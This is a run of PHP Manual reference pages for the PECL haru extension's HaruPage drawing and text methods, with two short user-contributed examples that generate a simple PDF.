  • HaruPage::setMiterLimit() - Set the current value of the miter limit of the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getLineWidth
HaruPage::getRGBFill
HaruPage


Get the current filling color

HaruPage::getMiterLimit
HaruPage::getRGBStroke
HaruPage
PHP Manual

HaruPage::getRGBFill

(PECL haru >= 0.0.1)

HaruPage::getRGBFill — Get the current filling color

Description

array HaruPage::getRGBFill ( void )

Get the current filling color.

Parameters

This function has no parameters.

Return Values

Returns the current filling color as an array with 3 elements: "r", "g" and "b".

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setRGBFill() - Set filling color for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getMiterLimit
HaruPage::getRGBStroke
HaruPage


Get the current stroking color

HaruPage::getRGBFill
HaruPage::getStrokingColorSpace
HaruPage
PHP Manual

HaruPage::getRGBStroke

(PECL haru >= 0.0.1)

HaruPage::getRGBStroke — Get the current stroking color

Description

array HaruPage::getRGBStroke ( void )

Get the current stroking color.

Parameters

This function has no parameters.

Return Values

Returns the current stroking color.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setRGBStroke() - Set stroking color for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getRGBFill
HaruPage::getStrokingColorSpace
HaruPage


Get the current stroking color space

HaruPage::getRGBStroke
HaruPage::getTextLeading
HaruPage
PHP Manual

HaruPage::getStrokingColorSpace

(PECL haru >= 0.0.1)

HaruPage::getStrokingColorSpace — Get the current stroking color space

Description

int HaruPage::getStrokingColorSpace ( void )

Get the current stroking color space.

Parameters

This function has no parameters.

Return Values

Returns the current stroking color space. The list of return values is the same as for HaruPage::getFillingColorSpace()

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getFillingColorSpace() - Get the current filling color space

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getRGBStroke
HaruPage::getTextLeading
HaruPage


Get the current value of line spacing

HaruPage::getStrokingColorSpace
HaruPage::getTextMatrix
HaruPage
PHP Manual

HaruPage::getTextLeading

(PECL haru >= 0.0.1)

HaruPage::getTextLeading — Get the current value of line spacing

Description

float HaruPage::getTextLeading ( void )

Get the current value of line spacing.

Parameters

This function has no parameters.

Return Values

Returns the current value of line spacing.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setTextLeading() - Set text leading (line spacing) for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getStrokingColorSpace
HaruPage::getTextMatrix
HaruPage


Get the current text transformation matrix of the page

HaruPage::getTextLeading
HaruPage::getTextRenderingMode
HaruPage
PHP Manual

HaruPage::getTextMatrix

(PECL haru >= 0.0.1)

HaruPage::getTextMatrix — Get the current text transformation matrix of the page

Description

array HaruPage::getTextMatrix ( void )

Get the current text transformation matrix of the page.

Return Values

Returns the current text transformation matrix of the page as an array of 6 elements: "a", "b", "c", "d", "x" and "y".

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setTextMatrix() - Set the current text transformation matrix of the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getTextLeading
HaruPage::getTextRenderingMode
HaruPage


Get the current text rendering mode

HaruPage::getTextMatrix
HaruPage::getTextRise
HaruPage
PHP Manual

HaruPage::getTextRenderingMode

(PECL haru >= 0.0.1)

HaruPage::getTextRenderingMode — Get the current text rendering mode

Description

int HaruPage::getTextRenderingMode ( void )

Get the current text rendering mode.

Parameters

This function has no parameters.

Return Values

Returns the current text rendering mode. The result value is one of the following:

  • HaruPage::FILL
  • HaruPage::STROKE
  • HaruPage::FILL_THEN_STROKE
  • HaruPage::INVISIBLE
  • HaruPage::FILL_CLIPPING
  • HaruPage::STROKE_CLIPPING
  • HaruPage::FILL_STROKE_CLIPPING
  • HaruPage::CLIPPING

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setTextRenderingMode() - Set text rendering mode for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getTextMatrix
HaruPage::getTextRise
HaruPage


Get the current value of text rising

HaruPage::getTextRenderingMode
HaruPage::getTextWidth
HaruPage
PHP Manual

HaruPage::getTextRise

(PECL haru >= 0.0.1)

HaruPage::getTextRise — Get the current value of text rising

Description

float HaruPage::getTextRise ( void )

Get the current value of text rising.

Parameters

This function has no parameters.

Return Values

Returns the current value of text rising.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setTextRise() - Set the current value of text rising

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getTextRenderingMode
HaruPage::getTextWidth
HaruPage


Get the width of the text using current fontsize, character spacing and word spacing

HaruPage::getTextRise
HaruPage::getTransMatrix
HaruPage
PHP Manual

HaruPage::getTextWidth

(PECL haru >= 0.0.1)

HaruPage::getTextWidth — Get the width of the text using current fontsize, character spacing and word spacing

Description

float HaruPage::getTextWidth ( string $text )

Get the width of the text using current fontsize, character spacing and word spacing

Parameters

text

The text to measure.

Return Values

Returns the width of the text using current fontsize, character spacing and word spacing.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::measureText() - Calculate the number of characters which can be included within the specified width

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getTextRise
HaruPage::getTransMatrix
HaruPage


Get the current transformation matrix of the page

HaruPage::getTextWidth
HaruPage::getWidth
HaruPage
PHP Manual

HaruPage::getTransMatrix

(PECL haru >= 0.0.1)

HaruPage::getTransMatrix — Get the current transformation matrix of the page

Description

array HaruPage::getTransMatrix ( void )

Get the current transformation matrix of the page.

Parameters

This function has no parameters.

Return Values

Returns the current transformation matrix of the page as an array of 6 elements: "a", "b", "c", "d", "x" and "y".

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::concat() - Concatenate current transformation matrix of the page and the specified matrix

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getTextWidth
HaruPage::getWidth
HaruPage


Get the width of the page

HaruPage::getTransMatrix
HaruPage::getWordSpace
HaruPage
PHP Manual

HaruPage::getWidth

(PECL haru >= 0.0.1)

HaruPage::getWidth — Get the width of the page

Description

float HaruPage::getWidth ( void )

Get the width of the page.

Parameters

This function has no parameters.

Return Values

Returns the width of the page.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setWidth() - Set width of the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getTransMatrix
HaruPage::getWordSpace
HaruPage


Get the current value of word spacing

HaruPage::getWidth
HaruPage::lineTo
HaruPage
PHP Manual

HaruPage::getWordSpace

(PECL haru >= 0.0.1)

HaruPage::getWordSpace — Get the current value of word spacing

Description

float HaruPage::getWordSpace ( void )

Get the current value of word spacing.

Parameters

This function has no parameters.

Return Values

Returns the current value of word spacing.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setWordSpace() - Set word spacing for the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::getWidth
HaruPage::lineTo
HaruPage


Draw a line from the current point to the specified point

HaruPage::getWordSpace
HaruPage::measureText
HaruPage
PHP Manual

HaruPage::lineTo

(PECL haru >= 0.0.1)

HaruPage::lineTo — Draw a line from the current point to the specified point

Description

bool HaruPage::lineTo ( float $x , float $y )

Draws a line from the current point to the specified point.

Parameters

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::curveTo() - Append a Bezier curve to the current path
  • HaruPage::curveTo2() - Append a Bezier curve to the current path
  • HaruPage::curveTo3() - Append a Bezier curve to the current path

User Contributed Notes

aku at syuaa dot net 08-Jun-2011 11:38
Here i show a simple example for this Line to.

<?php
$doc=new HaruDoc;

$page=$doc->addPage();
$page->setSize(HaruPage::SIZE_A4, HaruPage::PORTRAIT);

$page->setRGBStroke(0,0,0); // Set color to black
$page->setRGBFill(1,1,1); // Set fill to 100% for each rgb color
$page->moveTo(60, 100); // Move cursor to x 60, y 100
$page->lineTo(60,500); // Create line from x 60, y100 to x60, y500
$page->fillStroke();

//Output
header('Content-Type: application/pdf');
$doc->output();
?>
HaruPage::getWordSpace
HaruPage::measureText
HaruPage


Calculate the number of characters which can be included within the specified width

HaruPage::lineTo
HaruPage::moveTextPos
HaruPage
PHP Manual

HaruPage::measureText

(PECL haru >= 0.0.1)

HaruPage::measureText — Calculate the number of characters which can be included within the specified width

Description

int HaruPage::measureText ( string $text , float $width [, bool $wordwrap = false ] )

Get the number of characters which can be included within the specified width.

Parameters

text

The text to measure.

width

The width of the area to put the text to.

wordwrap

When this parameter is set to TRUE the function "emulates" word wrapping and doesn't include the part of the current word if reached the end of the area.

Return Values

Returns the number of characters which can be included within the specified width.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruFont::measureText() - Calculate the number of characters which can be included within the specified width

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::lineTo
HaruPage::moveTextPos
HaruPage


Move text position to the specified offset

HaruPage::measureText
HaruPage::moveTo
HaruPage
PHP Manual

HaruPage::moveTextPos

(PECL haru >= 0.0.1)

HaruPage::moveTextPos — Move text position to the specified offset

Description

bool HaruPage::moveTextPos ( float $x , float $y [, bool $set_leading = false ] )

Moves text position to the specified offset. If the start position of the current line is (x1, y1), the start of the next line is (x1 + x, y1 + y).

Parameters

x

The specified text position offset.

y

The specified text position offset.

set_leading

If set to TRUE, the function sets the text leading to -y.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::moveToNextLine() - Move text position to the start of the next line

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::measureText
HaruPage::moveTo
HaruPage


Set starting point for new drawing path

HaruPage::moveTextPos
HaruPage::moveToNextLine
HaruPage
PHP Manual

HaruPage::moveTo

(PECL haru >= 0.0.1)

HaruPage::moveTo — Set starting point for new drawing path

Description

bool HaruPage::moveTo ( float $x , float $y )

Defines starting point for new drawing path.

Parameters

x

A new starting point coordinate.

y

A new starting point coordinate.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::moveTextPos
HaruPage::moveToNextLine
HaruPage


Move text position to the start of the next line

HaruPage::moveTo
HaruPage::rectangle
HaruPage
PHP Manual

HaruPage::moveToNextLine

(PECL haru >= 0.0.1)

HaruPage::moveToNextLine — Move text position to the start of the next line

Description

bool HaruPage::moveToNextLine ( void )

Moves text position to the start of the next line.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::moveTextPos() - Move text position to the specified offset

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::moveTo
HaruPage::rectangle
HaruPage


Append a rectangle to the current path

HaruPage::moveToNextLine
HaruPage::setCharSpace
HaruPage
PHP Manual

HaruPage::rectangle

(PECL haru >= 0.0.1)

HaruPage::rectangle — Append a rectangle to the current path

Description

bool HaruPage::rectangle ( float $x , float $y , float $width , float $height )

Appends a rectangle to the current drawing path.

Parameters

x

The left border of the rectangle.

y

The lower border of the rectangle.

width

The width of the rectangle.

height

The height of the rectangle.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::moveToNextLine
HaruPage::setCharSpace
HaruPage


Set character spacing for the page

HaruPage::rectangle
HaruPage::setCMYKFill
HaruPage
PHP Manual

HaruPage::setCharSpace

(PECL haru >= 0.0.1)

HaruPage::setCharSpace — Set character spacing for the page

Description

bool HaruPage::setCharSpace ( float $char_space )

Defines character spacing for the page.

Parameters

char_space

The new character spacing for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getCharSpace() - Get the current value of character spacing

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::rectangle
HaruPage::setCMYKFill
HaruPage


Set filling color for the page

HaruPage::setCharSpace
HaruPage::setCMYKStroke
HaruPage
PHP Manual

HaruPage::setCMYKFill

(PECL haru >= 0.0.1)

HaruPage::setCMYKFill — Set filling color for the page

Description

bool HaruPage::setCMYKFill ( float $c , float $m , float $y , float $k )

Defines filling color for the page.

Parameters

c

m

y

k

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getCMYKFill() - Get the current filling color

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setCharSpace
HaruPage::setCMYKStroke
HaruPage


Set stroking color for the page

HaruPage::setCMYKFill
HaruPage::setDash
HaruPage
PHP Manual

HaruPage::setCMYKStroke

(PECL haru >= 0.0.1)

HaruPage::setCMYKStroke — Set stroking color for the page

Description

bool HaruPage::setCMYKStroke ( float $c , float $m , float $y , float $k )

Defines stroking color for the page.

Parameters

c

m

y

k

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getCMYKStroke() - Get the current stroking color

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setCMYKFill
HaruPage::setDash
HaruPage


Set the dash pattern for the page

HaruPage::setCMYKStroke
HaruPage::setFlatness
HaruPage
PHP Manual

HaruPage::setDash

(PECL haru >= 0.0.1)

HaruPage::setDash — Set the dash pattern for the page

Description

bool HaruPage::setDash ( array $pattern , int $phase )

Defines the dash pattern for the page.

Parameters

pattern

An array (8 elements max) which contains a pattern of dashes and gaps used for lines on the page.

phase

The phase on which the pattern begins.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getDash() - Get the current dash pattern

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setCMYKStroke
HaruPage::setFlatness
HaruPage


Set flatness for the page

HaruPage::setDash
HaruPage::setFontAndSize
HaruPage
PHP Manual

HaruPage::setFlatness

(PECL haru >= 0.0.1)

HaruPage::setFlatness — Set flatness for the page

Description

bool HaruPage::setFlatness ( float $flatness )

Defines flatness for the page.

Parameters

flatness

The defined flatness for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getFlatness() - Get the flatness of the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setDash
HaruPage::setFontAndSize
HaruPage


Set font and fontsize for the page

HaruPage::setFlatness
HaruPage::setGrayFill
HaruPage
PHP Manual

HaruPage::setFontAndSize

(PECL haru >= 0.0.1)

HaruPage::setFontAndSize — Set font and fontsize for the page

Description

bool HaruPage::setFontAndSize ( object $font , float $size )

Defines current font and its size for the page.

Parameters

font

A valid HaruFont instance.

size

The size of the font.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::getFont() - Get HaruFont instance

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setFlatness
HaruPage::setGrayFill
HaruPage


Set filling color for the page

HaruPage::setFontAndSize
HaruPage::setGrayStroke
HaruPage
PHP Manual

HaruPage::setGrayFill

(PECL haru >= 0.0.1)

HaruPage::setGrayFill — Set filling color for the page

Description

bool HaruPage::setGrayFill ( float $value )

Defines filling color for the page.

Parameters

value

The value of gray level between 0 and 1.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getGrayFill() - Get the current filling color

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setFontAndSize
HaruPage::setGrayStroke
HaruPage


Sets stroking color for the page

HaruPage::setGrayFill
HaruPage::setHeight
HaruPage
PHP Manual

HaruPage::setGrayStroke

(PECL haru >= 0.0.1)

HaruPage::setGrayStroke — Sets stroking color for the page

Description

bool HaruPage::setGrayStroke ( float $value )

Defines stroking color for the page.

Parameters

value

The value of gray level between 0 and 1.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getGrayStroke() - Get the current stroking color

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setGrayFill
HaruPage::setHeight
HaruPage


Set height of the page

HaruPage::setGrayStroke
HaruPage::setHorizontalScaling
HaruPage
PHP Manual

HaruPage::setHeight

(PECL haru >= 0.0.1)

HaruPage::setHeight — Set height of the page

Description

bool HaruPage::setHeight ( float $height )

Defines height of the page.

Parameters

height

The defined height for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getHeight() - Get the height of the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setGrayStroke
HaruPage::setHorizontalScaling
HaruPage


Set horizontal scaling for the page

HaruPage::setHeight
HaruPage::setLineCap
HaruPage
PHP Manual

HaruPage::setHorizontalScaling

(PECL haru >= 0.0.1)

HaruPage::setHorizontalScaling — Set horizontal scaling for the page

Description

bool HaruPage::setHorizontalScaling ( float $scaling )

Set the horizontal scaling for the page.

Parameters

scaling

The horizontal scaling for text showing on the page. The initial value is 100.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getHorizontalScaling() - Get the current value of horizontal scaling

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setHeight
HaruPage::setLineCap
HaruPage


Set the shape to be used at the ends of lines

HaruPage::setHorizontalScaling
HaruPage::setLineJoin
HaruPage
PHP Manual

HaruPage::setLineCap

(PECL haru >= 0.0.1)

HaruPage::setLineCap — Set the shape to be used at the ends of lines

Description

bool HaruPage::setLineCap ( int $cap )

Defines the shape to be used at the ends of lines.

Parameters

cap

Must be one of the following values:

  • HaruPage::BUTT_END - the line is squared off at the endpoint of the path.
  • HaruPage::ROUND_END - the end of the line becomes a semicircle with center in the end point of the path.
  • HaruPage::PROJECTING_SCUARE_END - the line continues to the point that exceeds half of the stroke width the end point.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getLineCap() - Get the current line cap style

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setHorizontalScaling
HaruPage::setLineJoin
HaruPage


Set line join style for the page

HaruPage::setLineCap
HaruPage::setLineWidth
HaruPage
PHP Manual

HaruPage::setLineJoin

(PECL haru >= 0.0.1)

HaruPage::setLineJoin — Set line join style for the page

Description

bool HaruPage::setLineJoin ( int $join )

Defines line join style for the page.

Parameters

join

Must be one of the following values:

  • HaruPage::MITER_JOIN
  • HaruPage::ROUND_JOIN
  • HaruPage::BEVEL_JOIN

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getLineJoin() - Get the current line join style

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setLineCap
HaruPage::setLineWidth
HaruPage


Set line width for the page

HaruPage::setLineJoin
HaruPage::setMiterLimit
HaruPage
PHP Manual

HaruPage::setLineWidth

(PECL haru >= 0.0.1)

HaruPage::setLineWidth — Set line width for the page

Description

bool HaruPage::setLineWidth ( float $width )

Defines line width for the page.

Parameters

width

The defined line width for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getLineWidth() - Get the current line width

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setLineJoin
HaruPage::setMiterLimit
HaruPage


Set the current value of the miter limit of the page

HaruPage::setLineWidth
HaruPage::setRGBFill
HaruPage
PHP Manual

HaruPage::setMiterLimit

(PECL haru >= 0.0.1)

HaruPage::setMiterLimit — Set the current value of the miter limit of the page

Description

bool HaruPage::setMiterLimit ( float $limit )

Set the current value of the miter limit of the page.

Parameters

limit

Defines the current value of the miter limit of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getMiterLimit() - Get the value of miter limit

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setLineWidth
HaruPage::setRGBFill
HaruPage


Set filling color for the page

HaruPage::setMiterLimit
HaruPage::setRGBStroke
HaruPage
PHP Manual

HaruPage::setRGBFill

(PECL haru >= 0.0.1)

HaruPage::setRGBFill — Set filling color for the page

Description

bool HaruPage::setRGBFill ( float $r , float $g , float $b )

Defines filling color for the page. All values must be between 0 and 1.

Parameters

r

g

b

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getRGBFill() - Get the current filling color

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setMiterLimit
HaruPage::setRGBStroke
HaruPage


Set stroking color for the page

HaruPage::setRGBFill
HaruPage::setRotate
HaruPage
PHP Manual

HaruPage::setRGBStroke

(PECL haru >= 0.0.1)

HaruPage::setRGBStroke — Set stroking color for the page

Description

bool HaruPage::setRGBStroke ( float $r , float $g , float $b )

Defines stroking color for the page. All values must be between 0 and 1.

Parameters

r

g

b

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getRGBStroke() - Get the current stroking color

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setRGBFill
HaruPage::setRotate
HaruPage


Set rotation angle of the page

HaruPage::setRGBStroke
HaruPage::setSize
HaruPage
PHP Manual

HaruPage::setRotate

(PECL haru >= 0.0.1)

HaruPage::setRotate — Set rotation angle of the page

Description

bool HaruPage::setRotate ( int $angle )

Defines rotation angle of the page.

Parameters

angle

Must be a multiple of 90 degrees.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setRGBStroke
HaruPage::setSize
HaruPage


Set size and direction of the page

HaruPage::setRotate
HaruPage::setSlideShow
HaruPage
PHP Manual

HaruPage::setSize

(PECL haru >= 0.0.1)

HaruPage::setSize — Set size and direction of the page

Description

bool HaruPage::setSize ( int $size , int $direction )

Changes size and direction of the page to a predefined format.

Parameters

size

Must be one of the following values:

  • HaruPage::SIZE_LETTER
  • HaruPage::SIZE_LEGAL
  • HaruPage::SIZE_A3
  • HaruPage::SIZE_A4
  • HaruPage::SIZE_A5
  • HaruPage::SIZE_B4
  • HaruPage::SIZE_B5
  • HaruPage::SIZE_EXECUTIVE
  • HaruPage::SIZE_US4x6
  • HaruPage::SIZE_US4x8
  • HaruPage::SIZE_US5x7
  • HaruPage::SIZE_COMM10

direction

Must be one of the following values:

  • HaruPage::PORTRAIT
  • HaruPage::LANDSCAPE

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::setWidth() - Set width of the page
  • HaruPage::setHeight() - Set height of the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setRotate
HaruPage::setSlideShow
HaruPage


Set transition style for the page

HaruPage::setSize
HaruPage::setTextLeading
HaruPage
PHP Manual

HaruPage::setSlideShow

(PECL haru >= 0.0.1)

HaruPage::setSlideShow — Set transition style for the page

Description

bool HaruPage::setSlideShow ( int $type , float $disp_time , float $trans_time )

Defines transition style for the page.

Parameters

type

Must be one of the following values:

  • HaruPage::TS_WIPE_RIGHT
  • HaruPage::TS_WIPE_LEFT
  • HaruPage::TS_WIPE_UP
  • HaruPage::TS_WIPE_DOWN
  • HaruPage::TS_BARN_DOORS_HORIZONTAL_OUT
  • HaruPage::TS_BARN_DOORS_HORIZONTAL_IN
  • HaruPage::TS_BARN_DOORS_VERTICAL_OUT
  • HaruPage::TS_BARN_DOORS_VERTICAL_IN
  • HaruPage::TS_BOX_OUT
  • HaruPage::TS_BOX_IN
  • HaruPage::TS_BLINDS_HORIZONTAL
  • HaruPage::TS_BLINDS_VERTICAL
  • HaruPage::TS_DISSOLVE
  • HaruPage::TS_GLITTER_RIGHT
  • HaruPage::TS_GLITTER_DOWN
  • HaruPage::TS_GLITTER_TOP_LEFT_TO_BOTTOM_RIGHT
  • HaruPage::TS_REPLACE

disp_time

The display duration of the page in seconds.

trans_time

The duration of the transition effect in seconds.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setSize
HaruPage::setTextLeading
HaruPage


Set text leading (line spacing) for the page

HaruPage::setSlideShow
HaruPage::setTextMatrix
HaruPage
PHP Manual

HaruPage::setTextLeading

(PECL haru >= 0.0.1)

HaruPage::setTextLeading — Set text leading (line spacing) for the page

Description

bool HaruPage::setTextLeading ( float $text_leading )

Set the text leading (line spacing) for the page.

Parameters

text_leading

Defines line spacing for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getTextLeading() - Get the current value of line spacing

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setSlideShow
HaruPage::setTextMatrix
HaruPage


Set the current text transformation matrix of the page

HaruPage::setTextLeading
HaruPage::setTextRenderingMode
HaruPage
PHP Manual

HaruPage::setTextMatrix

(PECL haru >= 0.0.1)

HaruPage::setTextMatrix — Set the current text transformation matrix of the page

Description

bool HaruPage::setTextMatrix ( float $a , float $b , float $c , float $d , float $x , float $y )

Defines the text transformation matrix of the page.

Parameters

a

Width multiplier.

b

Vertical skew in radians.

c

Horizontal skew in radians.

d

Height multiplier.

x

Horizontal position for text.

y

Vertical position for text.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getTextMatrix() - Get the current text transformation matrix of the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setTextLeading
HaruPage::setTextRenderingMode
HaruPage


Set text rendering mode for the page

HaruPage::setTextMatrix
HaruPage::setTextRise
HaruPage
PHP Manual

HaruPage::setTextRenderingMode

(PECL haru >= 0.0.1)

HaruPage::setTextRenderingMode — Set text rendering mode for the page

Description

bool HaruPage::setTextRenderingMode ( int $mode )

Defines text rendering mode for the page.

Parameters

mode

Must be one of the following values:

  • HaruPage::FILL
  • HaruPage::STROKE
  • HaruPage::FILL_THEN_STROKE
  • HaruPage::INVISIBLE
  • HaruPage::FILL_CLIPPING
  • HaruPage::STROKE_CLIPPING
  • HaruPage::FILL_STROKE_CLIPPING
  • HaruPage::CLIPPING

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getTextRenderingMode() - Get the current text rendering mode

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setTextMatrix
HaruPage::setTextRise
HaruPage


Set the current value of text rising

HaruPage::setTextRenderingMode
HaruPage::setWidth
HaruPage
PHP Manual

HaruPage::setTextRise

(PECL haru >= 0.0.1)

HaruPage::setTextRise — Set the current value of text rising

Description

bool HaruPage::setTextRise ( float $rise )

Set the current value of text rising.

Parameters

rise

Defines the current value of text rising.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getTextRise() - Get the current value of text rising

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setTextRenderingMode
HaruPage::setWidth
HaruPage


Set width of the page

HaruPage::setTextRise
HaruPage::setWordSpace
HaruPage
PHP Manual

HaruPage::setWidth

(PECL haru >= 0.0.1)

HaruPage::setWidth — Set width of the page

Description

bool HaruPage::setWidth ( float $width )

Set the width of the page.

Parameters

width

Defines width of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getWidth() - Get the width of the page

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setTextRise
HaruPage::setWordSpace
HaruPage


Set word spacing for the page

HaruPage::setWidth
HaruPage::showText
HaruPage
PHP Manual

HaruPage::setWordSpace

(PECL haru >= 0.0.1)

HaruPage::setWordSpace — Set word spacing for the page

Description

bool HaruPage::setWordSpace ( float $word_space )

Set the word spacing for the page.

Parameters

word_space

Defines word spacing for the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::getWordSpace() - Get the current value of word spacing

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::setWidth
HaruPage::showText
HaruPage


Print text at the current position of the page

HaruPage::setWordSpace
HaruPage::showTextNextLine
HaruPage
PHP Manual

HaruPage::showText

(PECL haru >= 0.0.1)

HaruPage::showText — Print text at the current position of the page

Description

bool HaruPage::showText ( string $text )

Prints out the text at the current position of the page.

Parameters

text

The text to show.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::showTextNextLine() - Move the current position to the start of the next line and print the text
  • HaruPage::textOut() - Print the text on the specified position

User Contributed Notes

aku at syuaa dot net 09-Jun-2011 03:02
My First Hello Text

<?php

$text = "Hello Text";

$doc=new HaruDoc;
$page=$doc->addPage();

//load haru font Times-Roman
$font = $doc->getFont('Times-Roman');

//Set margin top to 50 pixel
$mTop = 50;

//Set first yPos, you will need to reduce text height
$ypos = $page->getHeight()-$mTop-12;

$page->beginText();
$page->setFontandSize($font, 12);
$page->moveTextPos(100,$ypos,false);
$page->showText($text);
$page->endText();

header('Content-type: application/pdf');
$doc->output();

/*[x]syuaa[x]*/
?>
HaruPage::setWordSpace
HaruPage::showTextNextLine
HaruPage


Move the current position to the start of the next line and print the text

HaruPage::showText
HaruPage::stroke
HaruPage
PHP Manual

HaruPage::showTextNextLine

(PECL haru >= 0.0.1)

HaruPage::showTextNextLine — Move the current position to the start of the next line and print the text

Description

bool HaruPage::showTextNextLine ( string $text [, float $word_space = 0 [, float $char_space = 0 ]] )

Moves the current position to the start of the next line and print out the text.

Parameters

text

The text to show.

word_space

The word spacing.

char_space

The character spacing.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::showText() - Print text at the current position of the page
  • HaruPage::textOut() - Print the text on the specified position

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::showText
HaruPage::stroke
HaruPage


Paint current path

HaruPage::showTextNextLine
HaruPage::textOut
HaruPage
PHP Manual

HaruPage::stroke

(PECL haru >= 0.0.1)

HaruPage::stroke — Paint current path

Description

bool HaruPage::stroke ([ bool $close_path = false ] )

Paints the current path.

Parameters

close_path

Closes the current path if set to TRUE.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::showTextNextLine
HaruPage::textOut
HaruPage


Print the text on the specified position

